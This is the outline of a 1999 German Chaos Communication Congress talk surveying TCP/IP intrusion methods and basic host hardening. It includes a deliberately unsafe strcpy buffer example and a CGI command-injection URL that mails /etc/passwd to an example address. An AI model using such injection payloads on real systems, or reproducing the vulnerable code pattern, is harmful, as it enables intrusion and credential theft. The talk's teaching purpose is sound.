

TCP/IP Penetrationsmöglichkeiten

Felix von Leitner
Code Blau Security Concepts
felix@codeblau.de

Chaos Communication Congress 1999

Zusammenfassung

Dieser Vortrag beantwortet (oder besser: behandelt) die Frage: *Wie macht man Rechner im Internet auf?* und *Wie mache ich meinen Rechner sicher?*

Vorbemerkung

Dieser Vortrag wird sehr kurz.

Die Hauptklasse von Penetration über TCP/IP ist der Buffer Overflow, und für den gibt es einen separaten Vortrag von Andreas Bogk.

Klassen von Penetrationen

- Fehlkonfiguration, Dienste nicht abgeschaltet
- Buffer Overflow
- Metazeichen nicht escaped
- Passwörter gesniff
- Passwörter gecrackt
- TCP-Hijacking
- Hintertüren

Fehlkonfigurationen

- Die größte einzelne Ursache für Einbrüche!
- Auch: Sicherheits-Patches des Herstellers nicht eingespielt
- Meistens unnötige Dienste nicht abgeschaltet
- Firewalls und Router sind besonders tricky
- SMTP Relaying nicht abgeschaltet (Spam)
- Inhärent unsichere Dienste (NFS, NIS, telnet, rlogin)

Buffer Overflows

```
void bla(char *s) { char buf[100]; strcpy(buf,s); }
```

- Sehr häufiger Fehler!
- Teilweise auch in Library-Funktionen (z.B. `syslog()`)
- MS Exchange, wu-ftpd, Netscape, MSIE, sendmail, Outlook, Outlook Express, MS IIS, ...

Metazeichen nicht escaped

```
http://www.site.com/search.cgi?what=bla;mail+/etc/passwd+me@here.com
```

- Wenn /bin/sh involviert ist (system()), müssen alle Metazeichen entfernt werden!
- Sendmail, Excite personal search extension, metamail, ...
- Whitelisten, nicht blacklisten
- Sehr viele Freeware-CGI-Perlscripte
- :: \$DATA bei NT-Webservern

Passwörter gesniff

Wer auf diesem Kongress telnet benutzt, wird es am eigenen Leib sehen.

Beliebte Ziele sind auch POP3 und IMAP, weil die gewöhnlich periodisch die Paßwörter über das Netz broadcasten.

Passwörter gecrackt

Viele Fehler erlauben nicht, remote Code aus root auszuführen, aber man kann damit `/etc/passwd` (oder die NIS-Map) lesen. Das reicht für einen Wörterbuchangriff auf die Passwort-Liste.

Der empfohlene Password-Cracker ist **John the Ripper**, liegt auf `ftp.congress.ccc.de` in `/pub/unix/security/`.

TCP-Hijacking

Man kann auf der Route einer TCP-Verbindung die Verbindung übernehmen, was besonders bei One-Time-Password Schemas vorteilhaft benutzt werden kann, um die authentifizierte Verbindung zu übernehmen.

Hintertüren

In letzter Zeit sind Hintertüren vor allem bei Routern aufgetaucht, aber historisch gibt es sie auch in Form von Trojanischen Pferden (**Back Orifice**, **Netbus**) und von frühen Unix- und VMS-Versionen gibt es auch Anekdoten.

Wie schützt man sich?

- Nicht auf die Firewall verlassen. Hosts zusätzlich absichern.
- Verbindungen verschlüsseln, ssh einsetzen
- Ständig Scans auf die Rechner machen
- Open Source hilft gegen offensichtliche Hintertüren
- Keine Microsoft-Produkte einsetzen
- Paßwörter periodisch selber zu cracken versuchen